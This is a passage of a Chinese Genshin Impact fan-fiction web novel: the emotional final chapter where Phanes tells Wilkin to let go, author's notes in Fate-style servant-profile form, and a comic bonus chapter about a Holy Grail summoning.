你看,又怪自己。”法涅斯摇头,语气里带着无奈,“你这性格到底像谁啊?我寻思我们俩没人这么内耗啊……” 他忽然飞起,翅膀轻轻拍了拍那枚脆弱的蛋壳。 “高兴的话随他们去,不高兴的话让他们看看谁的拳头更大不好吗?”他轻声说,声音里带着一种近乎蛊惑的温柔,“我寻思应该没人打得过你啊。维系者一走,你直接拿提瓦特当方舟开也不会有人介意——那你到底在内耗什么呢?” 维尔金没有回答,脆弱的蛋壳只是望着脚下这片土地——被战火焚尽,又被新生的草木覆盖。他记得那些夜晚,维系者坐在他身边,她那种平静无波的声线,低声讲述草木如何穿透灰烬,雏鸟如何在新枝头啼鸣,渺小的部落如何围绕最初的篝火重聚,生命如何在废墟上重建家园,弱小的人类在绝望中寻找希望。 他一度以为,那是法涅斯留下的、最宝贵的遗产。 可现在,他不确定了。 “不不不,维尔金,你千万不要赋予我任何你臆想之中的滤镜。”法涅斯忽然正色,他贴紧重新孕育自己的卵壳,轻声道,“答应我,永远不要对任何物种抱有不切实际的幻想好吗?” 法涅斯的羽毛在风中微微颤动,金光流转,却不再耀眼,反而透出几分荒芜。 “你需要认清楚一个事实,”他一字一顿地说,“没有人是为了别人而活的,也没有人能够完全不靠别人而活。我不介意你在我身上寄托一些美好的幻想,但最好别把它当真,我没你想象的那么高尚。” “可我做不到,法涅斯。” 维尔金的声音终于带上了一丝哽咽的波动:“我第一眼看见了你,第二眼看到了维系者。你们赋予了我生命,是如我父亲、胜似母亲的存在。我愿意为爱我的家人而牺牲,愿意为我家人所爱的花圃牺牲,这就是我人生的全部意义。” 法涅斯静静地看着他,看着那枚因为悲伤而光泽愈发黯淡、仿佛随时会碎裂的蛋壳。良久,他摇了摇头,那姿态里充满了深沉的、无法消解的悲哀。 “你看,”他轻声说,仿佛在陈述一个早已注定的悲剧,“你太像人了,维尔金。” 他轻轻落在地面,仰头望着那枚蛋壳,声音低得几乎听不见:“我们这种强大而又长寿的物种,是不应该对与自己无关的人或物产生太多不该有的执念的。” 第135章 第 135 章 正文完结 “……我可能还是做不到。”维尔金失落地说。 “那就做不到吧。”法涅斯摆了摆手, “做不到也犯不着刻意通知我们,没什么大不了的……如果没什么事的话就回去吧。如果你所在的时间节点是维系者已经告诉你所有前因后果的那个,那你还是尽早回去吧, 世界肯定都一团糟了, 别到时候忙得脱不开身, 注意休息就好。” “啊?” “啊什么?”法涅斯很奇怪, “你以为我会说什么?” 维尔金小心翼翼:“痛骂我一顿之类的……?” “……再听一次我依旧无法理解你的脑回路, 孩子。” 法涅斯真诚地发问: “你已经从维系者那里知道了提瓦特被创造的根本目的,那既然如此,为什么觉得我会为了一颗本就是为了保护你而诞生的星球而去伤害你呢?至于你的选择……怎么说呢,我觉得你能在我和维系者的熏陶下长成一个圣母也挺不容易的……嘶,该不会这就是基因的力量吧?” 法涅斯顿了顿, 尾羽轻轻抖了抖,像是在甩掉某种沉重的情绪。 “至于你的选择……”法涅斯忽然叹了口气,语气复杂, “我一直觉得, 你可能需要一点点存在的意义才能好好生活,所以就算维系者教导你的时候,我什么都没说。毕竟在她心里, 我是一个相当恶劣的家伙” 他可疑地停顿了一下, 眼神飘向远方, 仿佛在回忆某个早已模糊的过往。 “总之, ”他收回目光, 语气重新变得轻快,“做你任何想做的事情就好啦。至于维系者……呵,她说出了一切,应该也挺开心的。” ——或许她死的时候, 也算一种解脱? 这句话他没说出口,但地脉知道,大海知道,维尔金也知道。 他可疑地停顿了一下,眼神飘向远方,仿佛在回忆某个早已模糊的过往。 末了,法涅斯转过身,背对着那枚蛋壳,一字一句说道,声音平静得近乎冷酷: “以后也不要再来看我了。你不会想学习我的行为处事原则的,我也无法给你建议——沉溺一个注定结局的虚影,可不是好选择。” 话音落下,维尔金的意识开始变得模糊,一点点消融在废墟的光影之中。那只金色的小鸟没有回头,只留下最后一句几不可闻的低语: “走吧……不要再回头看了。” 意识从深邃的记忆回廊中抽离,维尔金猛地睁开眼,派蒙正悬在他面前,小脸写满担忧。 怎么样?”她急切地问,声音微微发颤,“你……还好吗?” 维尔金怔怔地望着天空,良久,才耸了耸肩,轻轻叹了口气。 “法涅斯……好像完全不在乎提瓦特……” 空气静了一瞬。 若娜瓦站在不远处的岩柱上,双臂环抱,闻言只是耸耸肩:“完全不意外。” 空和荧对视一眼,兄妹俩脸上都浮现出一种“果然如此又极其难评”的复杂表情。 空张了张嘴,最终只憋出一句:“……阿这。” 倒是派蒙,先是愣住,随即长长地松了口气,整个人瘫软下来,像泄了气的气球:“呼……不在乎好啊!法涅斯要是再在乎,我都不敢想提瓦特会变成什么奇怪的样子了。” 维尔金没说话。他低头看着自己的手——不再是蛋壳,而是有温度、有脉搏、能握剑也能拥抱的血肉之躯。 他忽然笑了,眼角有些湿润,却不再沉重。 “走吧,”他说,站起身,拍了拍衣角的沙尘,“世界还等着我们收拾烂摊子,还有,可别忘了我最开始的目的啊——” 派蒙屏息凝神—— “我可是要择出最完美的继任天理、然后去享受美好的退休生活的可靠大人啊!”—— 作者有话说:Prentender 维尔金·虚假的天空 身披天理之责的天空岛之主。被敌人称作虚假之天、被麾下诸魔神称之为「天理」、被大多数无知民众与法涅斯混淆的存在。 其实质是为,名为维尔金的无辜魔兽。 阵地建造 A++:作为魔术师建造自己的工房·阵地的能力。 他曾经是天空岛的主人,是协助创世之人。 无论是法涅斯还是维尔金,都是能够将世界改造的存在。 绝对不是什么徒有虚名的王者。 神性D-:维尔金绝非神明,他也从不认为自己是神明。 只是很不巧,其麾下确实有诸多神明——算是反射到他身上了一点? 魔兽(伪):维尔金相当在乎自己人类的皮囊……不过就算被指出自己的本质,他也不会在意哦! 领域外的生命(?):出生地似乎是在星空之中吗?总而言之,没被当做是降临者简直是万幸! 死灵·神性·活在当下的人类:死灵是维尔金的诞生,神性是名为虚假之天的过去,唯有最后一点,才是他自己所认可的……只是……感觉这样很容易被上特攻? 好奇怪,我到底在说些什么怪东西? 对圣杯:啊,要是真的有这种东西的话……作为天理先维尔金,一定会许下让提瓦特永远和平、人类幸福生活之类的愿望吧? 持有宝具:世界树啊,于此回溯吧! 阶级:B 种类:对星球宝具 维尔金本人所梦想的,人类会永远幸福在花圃的乐园。 是维系其所拥有之世界稳定的核心宝具。 将不断收集地脉数据的世界树进行重置,通过己身强大的力量,在星球内部完成事实上的回溯。 但……命运似乎无法改变?《 》 【终章】 第136章 第 136 章 为了保护…… 1. 提瓦特的世界意识感觉自己被骗了。 祂盯着哄骗自己许下愿望的、吐着黑色淤泥的金色杯子, 咬牙切齿地问: ——我问你,刚刚我许下了什么愿望? 圣杯:你不是要维系星球的安宁吗?看看我给你带来了能够让你快速安宁的东西—— “Pretender,虚假之天。” 被召唤的英灵声音无比熟悉, 抬起头, 提瓦特的星球意识只觉得自己陷入了史上最坑爹、最害球、最绝望、最没救的杀猪盘—— “试问, 你是我的Master吗?” ——我嘞个安宁, 哪门子的安宁啊? ——出门右拐我求求你快去休假吧!!! 2. “哦哈哈哈哈, 原来是提瓦特的世界意识啊。”维尔金挠着头,左手提溜世界意识右手抱着在吐黑泥的圣杯,尴尬一笑。 提瓦特的世界意识无力吐槽。 黑杯依旧框框吐黑泥。 “你看这事儿闹的,要我回来干活直接让派蒙给我找人托个梦的事还走外面的渠道……”维尔金小声凑近,对左手的世界意识说: “这玩意看上去还没我的重置大法靠谱——诶, 说起来,以这副形态现身,我好像可以重置很多次诶!太棒了!” ——我求求你不要再重置了! ——哪怕是世界意识也不会接受同样的事情要经历八遍的!! 3. 被紧急从天空岛扒拉下来的派蒙惊奇地看着眼前的、本应猫在原始胎海休退休假期的前任上司。 “太厉害了维尔金, 你是怎么做到的!看起来比退休前在枫丹见面的时候更强了!” ——是是是, 谁叫我这个冤大头成了他的Master呢?我的力量取之不尽用之不竭! “说起来,若娜瓦说纳塔地脉好像又有点开裂,你要不要过去补一补?” ——不要!千万不要去补!我求求你们让我顺其自然的开裂好吗, 我只想当场爆炸去死。 “不了吧……”维尔金挠挠头, 示意派蒙看向自己左手上已经有点死意的可怜世界意识, 言简意赅道, “我感觉提瓦特好像有点崩溃了。” ——是的孩子, 在看见你成为我的英灵那一刻我就觉得生死有命富贵在天,亿万个轮回之后我又是一条好汉。 “真可惜。”派蒙叹气。 ——有什么好叹气的?! 气鼓鼓的世界意识从维尔金手上飞出,狠狠啄了一口派蒙! 4. “哇。” 若娜瓦干巴巴道:“你超进化了。” 她视线下移,开始神游天外, 不自觉喃喃道:“提瓦特也要进化成虚无的能量体了吗?” “准确来说是变换成为了另一种纯粹由能量构成的物质。”维尔金斟酌了一下,解释道,“毕竟是从那个杯子里蹦出来的——老实说,下次有事的话再不济直接去原始胎海里面找我也好呀。” “看来你从正编变外包了。”千里迢迢从须弥赶过来凑热闹的阿佩普幸灾乐祸,“活该,谁叫你当年嘲笑我们的。” “对哦,这倒是一个严肃的问题。”维尔金立马严肃起来,丢下还在框框冒黑泥的圣杯,举起如同一个大灯泡的世界意识,认真问道: “我还是你最可靠的天理吗?正编的那种哦。” ——你们这群奇怪的长生种到底在想什么啊?! ——还有没有人能看一下那个还在框框冒黑泥的圣杯? ——那玩意已经快渗地里了!—— 作者有话说:番外的话我本来打算直接放免费来着的,结果问了编辑要结算才能够上免费番外[无奈]总而言之英灵维尔金和Master世界意识的搞笑二人转等我标了完结后再在免费番外放出吧![比心]感谢看到这一章的大家,下周免费番外再见👋《 》